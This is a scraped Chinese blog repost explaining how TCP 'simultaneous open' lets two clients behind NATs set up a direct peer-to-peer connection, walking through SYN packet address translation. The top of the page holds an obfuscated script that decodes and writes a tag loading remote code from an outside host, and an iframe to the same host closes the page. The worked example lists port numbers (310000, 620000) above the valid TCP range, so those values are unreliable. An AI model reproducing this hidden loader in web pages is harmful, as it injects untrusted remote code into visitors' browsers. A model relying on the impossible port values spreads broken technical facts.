HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
利用“同时开放TCP连接”建立基于TCP的P2P(zz)
说明:zz from
http://slicetec.spaces.msn.com/
这篇文章比之前那篇翻译的要好,主要是那篇我没找到原译文,又懒得从原英文贴上图片,呵呵。不过下面这篇就整理得不错,很详细,将连接交互的细节都说得很清楚,还有图示。
[整理]利用“同时开放TCP连接”建立基于TCP的P2P
Simultaneous TCP open
同时开放TCP连接
这里有一种方法能够在某种情况下建立一个穿透NAT的端对端TCP直连。我们知道,绝大多数的TCP会话的建立,都是通过一端先发送一个SYN包开始,另一方则回发一个SYN-ACK包的过程。然而,这里确实存在另外一种情况,就是P2P的双方各自同时地发出一个SYN包到对方的公网地址上,然后各自都单独地返回一个ACK响应来建立一个TCP会话,这个过程被称之为:“Simultaneous open”(“同时开放连接”)。
如果一个NAT接收到一个来自私有网络外面的 TCP SYN 包,这个包想发起一个“引入”的 TCP 连接,一般来说,NAT会拒绝这个连接请求并扔掉这个SYN 包,或者回送一个TCP RST(connection reset,重建连接)包给请求方。但是,有一种情况,当这个接收到的 SYN 包 中的源IP地址和端口、目标IP地址和端口都与NAT登记的一个已经激活的TCP会话中的地址信息相符时,NAT将会放行这个SYN 包,让它进入NAT内部。特别要指出,如果NAT恰好看到一个刚刚发送出去的一个SYN包也和上面接收到的SYN包中的地址信息相符合的话,那么NAT将会认为这个TCP连接已经被激活,并将允许这个方向的SYN包进入NAT内部。
如果 Client A 和 Client B 能够彼此正确的预知对方的NAT将会给下一个TCP连接分配的公网TCP端口,并且两个客户端能够同时地发起一个“外出”的TCP连接,并在对方的 SYN 包到达之前,自己刚发送出去的SYN包都能顺利的穿过自己的NAT的话,一条端对端的TCP连接就成功地建立了。
不幸的是,这个诡计比3.4节所讲的UDP端口预言更容易被粉碎,并且对时间的敏感性的依赖更多!首先,除非双方的NAT都是Simple firewalls 或者都像cone NAT那样处理TCP通信,否则两个客户端还是无法建立这个TCP直连,因为它们无法预知对方的NAT会分配给新的会话的端口号是多少。 另外,如果双方的 SYN 到达对方的NAT 速度太快(举例来说,就是SYN A的还未穿过NAT A时,SYN B已经提早到达了NAT A),对方的NAT会将这个SYN扔掉,并返回一个 RST 包,这样就使得这个发快了的一方NAT关闭原来的会话,又重新建立一个新的会话,再利用这个新的会话重发一个SYN,这时端口预言就失效了,因为再次分配到相同的端口地址的几率太小了。
最后,尽管在“TCP规范”中说明了“Simultaneous open”是一种支持的标准技术,但是在一些公共操作系统中,对这种技术的支持并不好。基于这个原因,我们也在这里郑重申明,并不推荐使用这个技术。如果您的应用程序想要穿透NAT并进行高效率高性能的P2P的通信,应该使用UDP技术!
过程详细描述:
Client A
发送一个
TCP SYN
包给
Client B
,
我们把这个
SYN
包叫做
SYN A,
包含的信息如下
:
SrcAddress
:
10.0.0.1
Tcp port
:
1234
DestAddress
:
138.76.29.7
Tcp port
:
310000
同时
,
Client B
发送一个
TCP SYN
包给
Client A
,
我们把这个包叫做
SYN B,
包含的信息如下
:
SrcAddress
:
10.1.1.3
Tcp port
:
1234
DestAddress
:
155.99.25.11
Tcp port
:
620000
SYN A
首先通过
NAT A
(必须在
SYN B
到达
NAT A
之前),
NAT A
看到这个包并将其地址信息进行转换为:
SrcAddress
:
155.99.25.11
Tcp port
:
620000
DestAddress
:
138.76.29.7
Tcp port
:
310000
我们把这个经过
NAT A
转换的包叫做
SYN A’
同样,
SYN B
首先通过
NAT B
(也必须在
SYN A
到达
NAT B
之前),
NAT B
看到这个包并进行地址转换为:
SrcAddress
:
138.76.29.7
Tcp port
:
310000
DestAddress
:
155.99.25.11
Tcp port
:
620000
我们把这个经过
NAT B
转换的包叫做
SYN B’
这时,
NAT A
和
NAT B
都在自己的
TCP
连接表中存储了含有上面两个公网
IP
地址和端口信息,因此,只要看到包含这两个信息的
SYN
包,都会让其通过。
就在这个瞬间,
SYN A’
到达了
NAT B
,
NAT B
检查了一下
SYN A’
,发现它的地址信息和自己
TCP
连接表中的信息相符,便让
SYN A’
通过了,并将
SYN A’
的地址信息转换为:我们称这个包为
SYN A’’
SrcAddress
:
155.99.25.11
Tcp port
:
620000
DestAddress
:
10.1.1.3
Tcp port
:
1234
以使这个包能够到达内部网中
Client B
上
也就在这个瞬间,
SYN B’
到达了
NAT A
,
NAT A
检查了一下
SYN B’
,发现它的地址信息和自己
TCP
连接表中的信息相符,便让
SYN B’
通过了,并将
SYN B’
的地址信息转换为:我们称这个包为
SYN B’’
SrcAddress
:
138.76.29.7
Tcp port
:
310000
DestAddress
:
10.0.0.1
Tcp port
:
1234
以使这个包能够到达内部网中
Client A
上
这时,
Client A
收到了
SYN B’’
,
Client B
收到了
SYN A’’
,并返回给对方
ACK
,经过三次握手,这个
P2P
的
TCP
连接就建立了。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">